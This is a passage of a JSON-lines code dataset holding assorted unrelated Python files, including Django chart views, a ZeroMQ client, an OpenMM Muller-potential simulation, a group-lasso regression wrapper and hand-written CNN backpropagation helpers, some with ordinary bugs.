if length_matrix in all_lengths:\n pass\n else:\n newSparse.save()\n response.write(\"%s\"%(json.dumps(data)))\n return response\n\n\n\n\n\n@csrf_exempt\ndef sparse(request):\n return render_to_response('sparse_matrix/sparse.html', context_instance=RequestContext(request))\n\n\nclass LineChartJSONView(BaseLineChartView):\n def get_labels(self):\n \"\"\"Return 7 labels.\"\"\"\n latest_length_list = Sparse.objects.values(\n 'length').order_by('-id')[:5]\n all_lengths = [p['length'] for p in latest_length_list]\n return all_lengths\n\n def get_data(self):\n \"\"\"Return 3 datasets to plot.\"\"\"\n latest_time_linear = Sparse.objects.values(\n 'processing_time_l').order_by('-length')[:15]\n all_processing_linear = [p1['processing_time_l']\n for p1 in latest_time_linear]\n \n latest_time_quadratic = Sparse.objects.values(\n 'processing_time_q').order_by('-length')[:15]\n all_processing_quadratic = [p1['processing_time_q']\n for p1 in latest_time_quadratic]\n\n latest_time_cubic = Sparse.objects.values(\n 'processing_time_c').order_by('-length')[:15]\n all_processing_cubic = [p1['processing_time_c']\n for p1 in latest_time_cubic]\n # import pdb; pdb.set_trace()\n\n return [all_processing_linear,all_processing_quadratic, all_processing_cubic] \n\n \nline_chart = TemplateView.as_view(template_name='sparse.html')\nline_chart_json = LineChartJSONView.as_view()\n","sub_path":"sparse_matrix/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"373329914","text":"import random\nimport sys\nimport time\n\nimport zmq\n\nfrom kvmsg import KVMsg\n\n\nSUBTREE = b\"/client/\"\n\n\ndef main():\n # Prepare our context and subscriber\n ctx = zmq.Context()\n snapshot = ctx.socket(zmq.DEALER)\n snapshot.linger = 0\n snapshot.connect(\"tcp://localhost:5556\")\n subscriber = ctx.socket(zmq.SUB)\n subscriber.linger = 0\n subscriber.setsockopt(zmq.SUBSCRIBE, SUBTREE)\n subscriber.connect(\"tcp://localhost:5557\")\n publisher = ctx.socket(zmq.PUSH)\n publisher.linger = 0\n publisher.connect(\"tcp://localhost:5558\")\n\n random.seed(time.time())\n kvmap = {}\n\n # Get state snapshot\n sequence = 0\n snapshot.send_multipart([b\"ICANHAZ?\", SUBTREE])\n while True:\n try:\n kvmsg = KVMsg.recv(snapshot)\n except:\n raise\n return # Interrupted\n\n if kvmsg.key == b\"KTHXBAI\":\n sequence = kvmsg.sequence\n print(f\"I: Received snapshot={sequence:d}\")\n break # Done\n kvmsg.store(kvmap)\n\n poller = zmq.Poller()\n poller.register(subscriber, zmq.POLLIN)\n\n alarm = time.time() + 1\n while True:\n tickless = 1000 * max(0, alarm - time.time())\n try:\n items = dict(poller.poll(tickless))\n except:\n break # Interrupted\n\n if subscriber in items:\n kvmsg = KVMsg.recv(subscriber)\n\n # Discard out-of-sequence kvmsgs, incl. heartbeats\n if kvmsg.sequence > sequence:\n sequence = kvmsg.sequence\n kvmsg.store(kvmap)\n print(f\"I: received update={sequence:d}\")\n\n # If we timed-out, generate a random kvmsg\n if time.time() >= alarm:\n kvmsg = KVMsg(0)\n kvmsg.key = SUBTREE + str(random.randint(1, 10000)).encode()\n kvmsg.body = str(random.randint(1, 1000000)).encode()\n kvmsg.send(publisher)\n kvmsg.store(kvmap)\n alarm = time.time() + 1\n\n print(f\"Interrupted\\n{sequence:d} messages in\")\n\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n print('keybord interrupted', file=sys.stderr)\n","sub_path":"clonecli5.py","file_name":"clonecli5.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"237363399","text":"from my_lib import file_processing as fp\nimport re\ntry:\n content = fp.read_file('./input/input_test.txt')\n # print(content)\n content = \" \".join(content)\n content = content.split(\" \")\n content1 = [re.sub('[\\(\\)\\{\\}<>,.]', '', e) for e in content]\n\n print(content)\n c = max(set(content1), key=content1.count)\n\n print(\"character '\",c,\"' with frequency: \", content1.count(c))\nexcept BaseException as b:\n print(\"[Error] : \", b)\nfinally:\n # test_list = [9, 4, 5, 4, 4, 5, 9, 5, 4]\n # res = max(set(test_list), key=test_list.count)\n # print(max(set(test_list)))\n print(\"------------------------\\nhello\")\n print(\"exit\")\n","sub_path":"day-5/inclass/index2.py","file_name":"index2.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"255632812","text":"from nltk import StanfordPOSTagger\nfrom textblob.taggers import BaseTagger\nfrom pprint import pprint\n\n\nclass StanfordPartOfSpeechTagger(BaseTagger):\n \"\"\"An interface for stanford arabic pos\"\"\"\n\n def __init__(self):\n modelPath = 'textblob_ar/data/arabic.tagger'\n modelJar = 'textblob_ar/data/model.jar'\n self._tagger = StanfordPOSTagger(modelPath, modelJar)\n\n def tag(self, text, tokenize=True):\n \"\"\"Return a list of tuples of the form (word, tag)\n for a given set of text or BaseBlob instance.\n \"\"\"\n\n if tokenize:\n tokens = text.tokens\n else:\n tokens = text\n tags = self._tagger.tag(tokens=tokens)\n result = []\n for tag in tags:\n if tag[0]:\n result.append(tuple(tag[1].split('/')))\n else:\n result.append(tag)\n return [i for i in result if len(i) == 2]\n","sub_path":"textblob_ar/pos_tagger.py","file_name":"pos_tagger.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"526583643","text":"\"\"\"Propagating 2D dynamics on the muller potential using OpenMM.\n\nCurrently, we just put a harmonic restraint on the z coordinate,\nsince OpenMM needs to work in 3D. This isn't really a big deal, except\nthat it affects the meaning of the temperature and kinetic energy. So\ntake the meaning of those numbers with a grain of salt.\n\"\"\"\nfrom mixtape.mslds import *\nfrom numpy import array, reshape, savetxt, loadtxt, zeros\nfrom simtk.unit import kelvin, picosecond, femtosecond, nanometer, dalton\nfrom mixtape.utils import *\nimport simtk.openmm as mm\nimport matplotlib.pyplot as pp\nimport numpy as np\nimport sys\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\nclass MullerForce(mm.CustomExternalForce):\n\n \"\"\"OpenMM custom force for propagation on the Muller Potential. Also\n includes pure python evaluation of the potential energy surface so that\n you can do some plotting\"\"\"\n aa = [-1, -1, -6.5, 0.7]\n bb = [0, 0, 11, 0.6]\n cc = [-10, -10, -6.5, 0.7]\n AA = [-200, -100, -170, 15]\n XX = [1, 0, -0.5, -1]\n YY = [0, 0.5, 1.5, 1]\n\n def __init__(self):\n # start with a harmonic restraint on the Z coordinate\n expression = '1000.0 * z^2'\n for j in range(4):\n # add the muller terms for the X and Y\n fmt = dict(aa=self.aa[j], bb=self.bb[j],\n cc=self.cc[j], AA=self.AA[j],\n XX=self.XX[j], YY=self.YY[j])\n expression += '''+ {AA}*exp({aa} *(x - {XX})^2\n + {bb} * (x - {XX}) * (y - {YY})\n + {cc} * (y - {YY})^2)'''.format(**fmt)\n super(MullerForce, self).__init__(expression)\n\n @classmethod\n def potential(cls, x, y):\n \"Compute the potential at a given point x,y\"\n value = 0\n for j in range(4):\n try:\n value += cls.AA[j] * np.exp(\n cls.aa[j] * (x - cls.XX[j]) ** 2 +\n cls.bb[j] * (x - cls.XX[j]) * (y - cls.YY[j]) +\n cls.cc[j] * (y - cls.YY[j]) ** 2)\n except FloatingPointError:\n value = np.exp(100)\n return value\n\n @classmethod\n def plot(cls, ax=None, minx=-1.5, maxx=1.2, miny=-0.2,\n maxy=2, **kwargs):\n \"Plot the Muller potential\"\n grid_width = max(maxx - minx, maxy - miny) / 200.0\n ax = kwargs.pop('ax', None)\n xx, yy = np.mgrid[minx: maxx: grid_width, miny: maxy: grid_width]\n V = cls.potential(xx, yy)\n # clip off any values greater than 200, since they mess up\n # the color scheme\n if ax is None:\n ax = pp\n ax.contourf(xx, yy, V.clip(max=200), 40, **kwargs)\n\n# Now run code\nPLOT = True\nLEARN = True\nNUM_TRAJS = 1\n\n# each particle is totally independent\nnParticles = 1\nmass = 1.0 * dalton\n# temps = 200 300 500 750 1000 1250 1500 1750 2000\ntemperature = 500 * kelvin\nfriction = 100 / picosecond\ntimestep = 10.0 * femtosecond\nT = 500\nsim_T = 1000\n\nx_dim = 2\ny_dim = 2\nK = 3\nNUM_ITERS = 5\n\nAs = zeros((K, x_dim, x_dim))\nbs = zeros((K, x_dim))\nmus = zeros((K, x_dim))\nSigmas = zeros((K, x_dim, x_dim))\nQs = zeros((K, x_dim, x_dim))\n\n# Allocate Memory\nstart = T / 4\nn_seq = 1\nxs = zeros((n_seq, NUM_TRAJS * (T - start), y_dim))\n\nif PLOT:\n # Clear Display\n pp.cla()\n# Choose starting conformations uniform on the grid\n# between (-1.5, -0.2) and (1.2, 2)\n########################################################################\n\nfor traj in range(NUM_TRAJS):\n system = mm.System()\n mullerforce = MullerForce()\n for i in range(nParticles):\n system.addParticle(mass)\n mullerforce.addParticle(i, [])\n system.addForce(mullerforce)\n\n integrator = mm.LangevinIntegrator(temperature, friction, timestep)\n context = mm.Context(system, integrator)\n startingPositions = (np.random.rand(\n nParticles, 3) * np.array([2.7, 1.8, 1])) + np.array([-1.5, -0.2, 0])\n\n context.setPositions(startingPositions)\n context.setVelocitiesToTemperature(temperature)\n\n trajectory = zeros((T, 2))\n for i in range(T):\n x = context.getState(getPositions=True).\\\n getPositions(asNumpy=True).value_in_unit(nanometer)\n # Save the state\n if i > start:\n xs[0, traj * (T-start) + (i-start), :] = x[0, 0:2]\n trajectory[i, :] = x[0, 0:2]\n integrator.step(10)\nif LEARN:\n # Learn the MetastableSwitchingLDS\n l = MetastableSwitchingLDS(K, x_dim, n_iter=NUM_ITERS)\n l.fit(xs)\n sim_xs, sim_Ss = l.sample(sim_T, init_state=0, init_obs=l.means_[0])\n\nif PLOT:\n pp.plot(trajectory[start:, 0], trajectory[start:, 1], color='k')\n pp.scatter(l.means_[:, 0], l.means_[:, 1], color='r', zorder=10)\n pp.scatter(xs[0, :, 0], xs[0,:, 1], edgecolor='none', facecolor='k', zorder=1)\n Delta = 0.5\n minx = min(xs[0, :, 0])\n maxx = max(xs[0, :, 0])\n miny = min(xs[0, :, 1])\n maxy = max(xs[0, :, 1])\n if LEARN:\n minx = min(min(sim_xs[:, 0]), minx) - Delta\n maxx = max(max(sim_xs[:, 0]), maxx) + Delta\n miny = min(min(sim_xs[:, 1]), miny) - Delta\n maxy = max(max(sim_xs[:, 1]), maxy) + Delta\n pp.scatter(sim_xs[:, 0], sim_xs[:, 1], edgecolor='none',\n zorder=5, facecolor='g')\n pp.plot(sim_xs[:, 0], sim_xs[:, 1], zorder=5, color='g')\n MullerForce.plot(ax=pp.gca(), minx=minx, maxx=maxx, miny=miny, maxy=maxy)\n pp.show()\n","sub_path":"example/muller_potential.py","file_name":"muller_potential.py","file_ext":"py","file_size_in_byte":5417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"27864364","text":"'''\nAuthor: Chin-Chwen Tien\nVersion: 1.0\nCreate Date: Tue June 14, 2016\nObjective: Don't just sit in front of the PC all day!!\n'''\n\nimport time\nimport webbrowser\n\ntotalBreak = 3\nbreakCount = 0\n\nprint(\"This program started on \" + time.ctime())\nwhile breakCount < totalBreak:\n\tprint(\"Current Time: \" + time.ctime())\n\ttime.sleep(30 * 60)\n\tprint(\"Take a break!\")\n\twebbrowser.open(\"https://www.youtube.com/watch?v=DDO_aCkivxU\")\n\tbreakCount += 1\n","sub_path":"takeABreak.py","file_name":"takeABreak.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"46768925","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn, cuda\nfrom torch.autograd import Variable\n\nclass DeadConv2d(nn.Conv2d):\n def __init__(self, *args, **kwargs):\n super(PartialConv2d, self).__init__(*args, **kwargs)\n self.dead_lock = Variable(torch.ones([self.out_channels], requires_grad=False)).cuda() # 用relu控制稀疏性,也可以用tempered softmax控制?\n\n def forward(self, input, mask_in=None):\n assert len(input.shape) == 4\n raw_out = super(PartialConv2d, self).forward(input)\n # 很简单,每个通道的结果乘以一个scalar,初始为1,并且可以控制在何时启动\n # with torch.no_grad():\n for i in range(self.out_channels):\n raw_out[:,i,:,:] *= self.dead_lock[i]\n\n return raw_out\n\n\n # def _trim(self):\n\n\n\n####old\n# 可以通过学习,每个通道可以分别进行死亡的卷积核,c个通道就有c个权重\n# 控制卷积核的死亡,可以让网络一开始训练一个有力的大模型,随后进行自动化的剪支:\n# 1. 一个精心设计的,不太容易死但是一旦死了就很难复活的卷积核\n# 2. 训练的时候固定所有权重,裁剪的时候,网络其他部分不变,仅让这些权重可以学习\n# 3. 效果好的话,可以加在超分项目上\n\n# import torch\n# import torch.nn.functional as F\n# from torch import nn, cuda\n# from torch.autograd import Variable\n\n# class DeadConv2d(nn.Module):\n# def __init__(self,in_channels, out_channels, kernel_size, stride=1, padding=1, dilation=1,\n# groups=1, bias=True):\n# super(DeadConv2d, self).__init__()\n# self.weights = nn.Parameter(torch.Tensor(out_channels, in_channels, kernel_size[0], kernel_size[1]))\n# self.weights_1x1 = nn.Parameter(torch.Tensor(out_channels, out_channels, 1,1))\n# self.in_channels = in_channels\n# self.out_channels = out_channels\n# self.stride = stride\n# self.padding = padding\n# self.dilation = dilation\n# self.groups = groups\n# if bias:\n# self.bias = nn.Parameter(torch.Tensor(out_channels))\n# else:\n# self.bias = torch.zeros(out_channels)\n \n# self.dead_lock = nn.Parameter(torch.ones(out_channels),requires_grad=False)# 用relu控制稀疏性,也可以用tempered softmax控制?\n\n# def forward(self, input):\n# # 普通卷积\n# output_inner = F.conv2d(input, self.weights, self.bias, 1,\n# self.padding, self.dilation, self.groups)\n \n \n# # 很简单,每个通道的结果乘以一个scalar,初始为1,并且可以控制在何时启动\n# for i in range(self.out_channels):\n# output_inner[:,i,:,:] *= F.relu(self.dead_lock[i])\n \n# return output_inner\n\n\n# # 展示使用\n# conv = DeadConv2d(in_channels = 3, out_channels = 7, kernel_size=[3,3])\n# a = Variable(torch.ones([11,3,10,10]), requires_grad=True)\n# b = torch.mean(conv(a))\n\n\n# # 展示死亡权重冻结\n# for i in range(10):\n# print(conv.dead_lock.requires_grad)\n# conv.dead_lock.requires_grad = not conv.dead_lock.requires_grad\n# b.backward(retain_graph=True)\n# print(a.grad)\n","sub_path":"dead_op.py","file_name":"dead_op.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"386765173","text":"N, Q = map(int, input().split())\n\ngrid = [[False]*N for _ in range(N)]\n\ndef print_grid(grid):\n for i in range(N):\n for j in range(N):\n if grid[i][j]:\n grid[i][j] = 'Y'\n else:\n grid[i][j] = 'N'\n for v in grid:\n print(*v, sep='')\n\nfor _ in range(Q):\n S = list(input().split())\n if S[0] == '1':\n a = int(S[1]) - 1\n b = int(S[2]) - 1\n grid[a][b] = True\n elif S[0] == '2':\n a = int(S[1]) - 1\n for i in range(N):\n if grid[i][a]:\n grid[a][i] = True\n else:\n a = int(S[1]) - 1\n tmp = []\n for i in range(N):\n if grid[a][i]:\n for j in range(N):\n if grid[i][j] and j != a:\n tmp.append([a, j])\n for a, j in tmp:\n grid[a][j] = True\n\nprint_grid(grid)","sub_path":"atcoder/2019/Other/1214_PAST/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"582190849","text":"from collections import OrderedDict\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import RadioButtons, Button\n\nfrom yoink.widgets import (ShutterCrop, DragableColorLine, NothingWidget,\n RecoloredWidget, ScaledColorbar, ImageDumper)\nfrom yoink.textbox import TextBoxFloat\n\n\ndef make_selector_figure(gut=0.04, sepx=0.01, wide=0.2, tall=0.3,\n dx_cbar=0.05):\n fig = plt.figure()\n axes = {}\n\n x0 = gut + wide + sepx\n x1 = 1 - (gut + dx_cbar + sepx)\n\n y0 = gut\n y1 = 1 - gut\n\n l, b = x0, y0\n w, h = x1 - x0, y1 - y0\n img = fig.add_axes([l, b, w, h])\n img.yaxis.set_visible(False)\n img.xaxis.set_visible(False)\n axes['img'] = img\n\n l, b = x1 + sepx, y0\n w, h = dx_cbar, y1 - y0\n cbar = fig.add_axes([l, b, w, h])\n cbar.yaxis.set_visible(False)\n cbar.xaxis.set_visible(False)\n axes['cbar'] = cbar\n\n l, b = gut, 0.5 * (y0 + y1 - tall)\n w, h = wide, tall\n select = fig.add_axes([l, b, w, h])\n select.yaxis.set_visible(False)\n select.xaxis.set_visible(False)\n axes['select'] = select\n\n return fig, axes\n\n\ndef make_annotate_figure(gut=0.04, sepx=0.05, sepy=0.04,\n wide=0.09, tall=0.06, dx_cbar=0.05):\n fig = plt.figure()\n axes = {}\n\n x0 = gut + wide + sepx\n x1 = 1 - (gut + max(dx_cbar, wide) + sepx)\n\n y0 = gut + tall + sepy\n y1 = 1 - gut\n\n l, b = x0, y0\n w, h = x1 - x0, y1 - y0\n axes['img'] = fig.add_axes([l, b, w, h])\n\n l, b = x1 + sepx, gut + tall + sepy\n w, h = dx_cbar, y1 - y0 - tall - sepy\n cbar = fig.add_axes([l, b, w, h])\n cbar.yaxis.set_visible(False)\n cbar.xaxis.set_visible(False)\n axes['cbar'] = cbar\n\n l, b = x1 + sepx, gut\n w, h = wide, tall\n clo = fig.add_axes([l, b, w, h])\n clo.yaxis.set_visible(False)\n clo.xaxis.set_visible(False)\n axes['cbar_lo'] = clo\n\n l, b = x1 + sepx, y1 - tall\n w, h = wide, tall\n chi = fig.add_axes([l, b, w, h])\n chi.yaxis.set_visible(False)\n chi.xaxis.set_visible(False)\n axes['cbar_hi'] = chi\n\n l, b = gut, 1 - gut - tall\n w, h = wide, tall\n yhi = fig.add_axes([l, b, w, h])\n yhi.yaxis.set_visible(False)\n yhi.xaxis.set_visible(False)\n axes['yhi'] = yhi\n\n l, b, = gut, gut + tall + sepy\n ylo = fig.add_axes([l, b, w, h])\n ylo.yaxis.set_visible(False)\n ylo.xaxis.set_visible(False)\n axes['ylo'] = ylo\n\n l, b = x0, gut\n xlo = fig.add_axes([l, b, w, h])\n xlo.yaxis.set_visible(False)\n xlo.xaxis.set_visible(False)\n axes['xlo'] = xlo\n\n l, b = x1 - wide, gut\n xhi = fig.add_axes([l, b, w, h])\n xhi.yaxis.set_visible(False)\n xhi.xaxis.set_visible(False)\n axes['xhi'] = xhi\n\n l, b = x0 + wide + sepx, gut\n w, h = x1 - x0 - 2 * (sepx + wide), tall\n dump = fig.add_axes([l, b, w, h])\n dump.yaxis.set_visible(False)\n dump.xaxis.set_visible(False)\n axes['dump'] = dump\n\n return fig, axes\n\n\ndef run(pixels, path):\n \"\"\"\n \"\"\"\n # Return the widgets or they stop responding\n widgets = {}\n\n # generate layout of figures and axes\n # there should be two figures: one for (sub)selecting data\n # and another for annotating that data with numbers\n sel_fig, sel_axes = make_selector_figure()\n ann_fig, ann_axes = make_annotate_figure()\n\n #\n # Set up the widgets on the selection figure\n #\n # plot source data\n sel_axes['img'].imshow(pixels, interpolation='none', vmin=0, vmax=1)\n\n # add shutters for cropping, initially disabled\n widgets['crop_widget'] = crop_widget = ShutterCrop(sel_axes['img'])\n crop_widget.active = False\n crop_widget.set_visible(False)\n\n # add a line to identify manually select the colorbar, initially disabled\n widgets['cbar_select'] = cbar_select = DragableColorLine(sel_axes['img'],\n sel_axes['cbar'],\n pixels)\n cbar_select.active = False\n cbar_select.set_visible(False)\n\n # Radio buttons to select which Widget is active\n states = OrderedDict()\n states['Do nothing'] = NothingWidget()\n states['Select Colorbar'] = cbar_select\n states['Crop Image'] = crop_widget\n\n def toggle_state(new_state):\n assert new_state in states\n for k in states:\n if k == new_state:\n continue\n states[k].active = False\n states[k].set_visible(False)\n states[new_state].active = True\n states[new_state].set_visible(True)\n toggle_state(states.keys()[0])\n\n widgets['radio'] = select_radio = RadioButtons(sel_axes['select'],\n labels=states.keys(),\n active=0)\n select_radio.on_clicked(toggle_state)\n\n #\n # Now set up widgets on the annotation figure\n #\n # We are converting a multi-color image to a scalar image.\n # Plot that scalar image\n widgets['rcol_widget'] = rcol_widget = RecoloredWidget(ann_axes['img'],\n pixels)\n # fill axes with textboxes for typing in the x & y limits\n # these set the scale of x and y\n rcol_widget.make_xyextent_textboxes(ann_axes['xlo'],\n ann_axes['xhi'],\n ann_axes['ylo'],\n ann_axes['yhi'])\n\n # Crop the re-colored image when the cropping shutters move\n crop_widget.on_changed(rcol_widget.crop)\n\n # Draw a colorbar for the re-colored image, and set the initial cmap\n widgets['cbar_widget'] = cbar_widget = ScaledColorbar(ann_axes['cbar'],\n rcol_widget.image)\n rcol_widget.digitize(cbar_select.l, cbar_select.rgb)\n\n # Re-draw the colormap when the colorbar-selector moves\n # re-digitizing is expensive, so only do it when you release the mouse\n cbar_select.on_release(rcol_widget.digitize)\n\n # Create textbox widgets to manually specifying the range of z\n widgets['tb_lo'] = tblo = TextBoxFloat(ann_axes['cbar_lo'], '0')\n widgets['tb_hi'] = tbhi = TextBoxFloat(ann_axes['cbar_hi'], '1')\n # If the textbox changes, propagate those changes to the colorbar ticks\n tblo.on_changed(cbar_widget.set_min)\n tbhi.on_changed(cbar_widget.set_max)\n\n # Add a button to dump the data to a file\n widgets['dump_button'] = dump_button = Button(ann_axes['dump'],\n 'Dump to file')\n widgets['dumper'] = dumper = ImageDumper(rcol_widget.image,\n cbar_widget,\n cbar_select,\n path)\n dump_button.on_clicked(dumper.dump_npz)\n\n # Return all the widgets. If you don't, they don't respond interactively.\n # Maybe they are getting garbage collected?\n return widgets\n","sub_path":"yoink/cmap_app.py","file_name":"cmap_app.py","file_ext":"py","file_size_in_byte":6997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"336789896","text":"\nimport numpy as np\nfrom numpy import linalg as LA\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.linear_model import Ridge\nfrom MLE.pySGL import blockwise_descent\nfrom MLE.pyPQN.minConF_PQN import minConf_PQN\nfrom MLE.pyPQN.SquaredError import SquaredError\nfrom MLE.pyPQN.projectRandom2 import randomProject\n# import trace\n\n\nclass LinearRegression:\n\n def __init__(self, marker_groups, alpha=None, lbda=None):\n \"\"\"\n Wrapper for Linear Regression model combining Group Lasso (using either PQN or SGL) and Ridge.\n This wrapper is compatible with GridSearchCV of Sci-Kit-Learn. Main methods are fit and predict.\n\n Args:\n marker_groups (list): marker indicators for each feature/column of X\n alpha (int): Ridge regularizer\n lbda (int): Group Lasso regularizer\n \"\"\"\n\n self.marker_groups = marker_groups\n self.alpha = alpha\n self.lbda = lbda\n self.model = None\n self.feature_support = None\n self.feature_indices = None\n self.group_lasso_strategy = 'PQN' # 'PQN' or 'SGL' or 'None'\n self.coef = None\n self.sample_weight = None\n self.X = None\n self.y = None\n\n def fit(self, X, y, sample_weight=None):\n\n if sample_weight is None:\n sample_weight = np.ones(y.shape)\n\n self.sample_weight = sample_weight\n self.X = X\n self.y = y\n\n # print('-'*20 + \"Running group lasso:\")\n # print(f'X = {X}, y = {y}, sample_weight = {sample_weight}')\n\n if self.group_lasso_strategy == 'SGL':\n feature_support = self.group_lasso_SGL(X, y)\n elif self.group_lasso_strategy == 'PQN':\n feature_support = self.group_lasso_PQN(X, y, sample_weight)\n else:\n markers, repeats = np.unique(self.marker_groups, return_counts=True)\n feature_support = markers\n\n markers, repeats = np.unique(self.marker_groups, return_counts=True)\n feature_indices = []\n for i in markers:\n if i in feature_support:\n feature_indices.extend(np.repeat(True, repeats[i]))\n else:\n feature_indices.extend(np.repeat(False, repeats[i]))\n\n # print('-'*20 + \"Running Ridge:\")\n\n model = Ridge(alpha=self.alpha)\n model.fit(X[:, feature_indices], y, sample_weight=sample_weight)\n self.coef = model.coef_\n\n # print('-'*20 + \"Saving regression results.\")\n\n self.model = model\n self.feature_support = feature_support\n self.feature_indices = feature_indices\n\n return self\n\n def score(self, X, y, sample_weight=None):\n\n self.fit(X, y, sample_weight)\n y_predict = self.predict(X)\n score_ = mean_squared_error(y, y_predict)\n\n return score_\n\n def get_params(self, deep=True):\n\n params = {\"alpha\": self.alpha, \"lbda\": self.lbda, \"marker_groups\": self.marker_groups}\n\n return params\n\n def set_params(self, **params):\n\n for parameter, value in params.items():\n setattr(self, parameter, value)\n\n return self\n\n def predict(self, X):\n\n model = self.model\n feature_indices = self.feature_indices\n\n if feature_indices is None:\n raise ValueError('Feature indices cannot be None!')\n\n # print('-' * 20 + \"Running predict for linear regression.\")\n # print(f'X = {X[:, feature_indices]}')\n\n y_predict = model.predict(X[:, feature_indices])\n\n return y_predict\n\n def group_lasso_SGL(self, X, y):\n\n markers = np.unique(self.marker_groups)\n\n fs_model = blockwise_descent.SGL(groups=self.marker_groups, alpha=0., lbda=self.lbda, rtol=1e-3)\n fs_model.fit(X, y)\n coefs = fs_model.coef_\n\n feature_support = []\n for j in markers:\n indices = np.where(self.marker_groups == j)[0]\n if LA.norm(coefs[indices], 2) != 0:\n feature_support.append(int(j))\n\n return feature_support\n\n def group_lasso_PQN(self, X, y, sample_weight):\n\n d1, d2 = X.shape\n markers, repeats = np.unique(self.marker_groups, return_counts=True)\n\n # print('-'*20 + 'Running PQN:', d2)\n\n w1 = np.zeros((d2,))\n\n # tracer for segfault:\n # tracer = trace.Trace(trace=1, count=0, outfile='trace_output')\n # tracer.run('minConf_PQN(fun_object, w1, fun_project, verbose=3)[0]')\n # tracer.results().write_results(show_missing=True)\n\n w2 = minConf_PQN(self.fun_object, w1, self.fun_project, verbose=0)[0]\n\n\n # print('-' * 20 + 'Producing the feature support after PQN run:')\n # print(f'w2 = {w2}')\n\n feature_support = []\n for j in markers:\n indices = np.where(self.marker_groups == j)[0]\n if LA.norm(w2[indices], 2) != 0:\n feature_support.append(int(j))\n\n return feature_support\n\n def fun_project(self, w):\n\n # print('-'*20 + 'Starting fun_project')\n markers, repeats = np.unique(self.marker_groups, return_counts=True)\n\n\n v = np.zeros((markers.shape[0],))\n v1 = np.zeros(w.shape)\n\n # print('-' * 20 + 'Starting for loop in fun_project')\n # print(f'markers={markers}')\n # print(f'w={w}')\n\n for i in markers:\n indices1 = np.where(self.marker_groups == i)[0]\n w_group = w[indices1]\n # print(f'w_group={w_group}')\n v[i] = LA.norm(w_group, 2)\n\n # print(f'v[i]={v[i]}')\n\n if v[i] != 0:\n v1[indices1] = w_group / v[i]\n\n # print('-' * 20 + 'Calling randomProject:')\n\n\n p = randomProject(v, self.lbda)\n\n test = v1 * np.repeat(p, repeats)\n\n # print('-' * 20 + 'randomProject Finished:', p, repeats)\n # print('-'*20 + f'test={test}')\n\n return test\n\n def fun_object(self, w):\n # return SquaredError(w, X, y)\n\n # print('-' * 20 + 'Running fun_object')\n\n test = SquaredError(w, np.tile(np.reshape(np.sqrt(self.sample_weight), (np.size(self.X, 0), 1)),\n (1, np.size(self.X, 1))) * self.X, np.sqrt(self.sample_weight) * self.y)\n\n # print('-' * 20 + 'Returning from fun_object')\n\n return test\n","sub_path":"MLE/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"115065637","text":"'''\nImplementation of BackPropogation for CNN\n\ndelta = del(Loss)/del(z_val)\n'''\nimport numpy as np\n'''\nFrom Fully Connected layerto Fully Connected layer\n'''\ndef BackProp_FC_to_FC(delta, prev_weights, prev_activations, z_vals, final = False):\n '''\n Reset delta if not FC is not a final layer \n '''\n if not final:\n sp = sigmoid_prime(z_vals)\n delta = np.dot(prev_weights.transpose(), delta) * sp\n \n Slopeb = delta\n Slopew = np.dot(delta, prev_activations.transpose())\n return (Slopew, Slopeb, delta)\n\n'''\nFrom fully connected to 3D layer\n'''\ndef BackProp_FC_TO_3D(delta, prev_weights, prev_activations, z_vals):\n #Calculate delta\n sp = sigmoid_prime(z_vals)\n delta = np.dot(prev_weights.transpose(), delta) * sp\n \n Slopeb = delta\n images\n #Reshape Prev activations\n depth, dim1, dim2 = prev_activations.shape\n prev_activations = prev_activations.reshape((1, depth * dim1 * dim2))\n \n Slopew = np.dot(delta, prev_activations)\n Slopew = Slopew.reshape((delta.shape[0], depth, dim1, dim2))\n \n return (Slopew, Slopeb, delta)\n\n'''\nFrom Pooling layer to convolution layer\nOnly delta Changes\n'''\ndef BackProp_Pool_to_Conv(delta, prev_weights, input_from_conv, max_indices, pool_size, pool_output):\n #Get Shape\n x, y, z = pool_output.shape\n a, b, c, d = prev_weights.shape\n \n #Reshape Weights and PoolLayer\n prev_weights = prev_weights.reshape((a, b * c * d))\n pool_output = pool_output.reshape((x * y * z, 1))\n\n #Reshape MaxIndex matrix\n max_indices = max_indices.reshape((x, y * z, 2))\n \n #Bckpropogate delta from fc layer to pooLLayer\n sp = sigmoid_prime(pool_output)\n delta = np.dot(prev_weights.transpose(), delta) * sp\n delta = delta.reshape((x, y * z))\n pool_output = pool_output.reshape((x, y * z))\n \n #depth height width\n depth, height, width = input_from_conv.shape\n delta_new = np.zeros((depth, height, width))\n \n for d in range(depth):\n row, col = 0, 0\n for i in range(max_indices.shape[1]):\n to_pool = input_from_conv[d][row : poolsize[0] + row, col : poolsize[1] + col]\n \n #Get new delta\n delta_from_pooling = max_prime(pool_output[d][i], delta[d][i], to_pool)\n delta_new[d][row : poolsize[0] + row, col : poolsize[1] + col] = delta_from_pooling\n \n col += 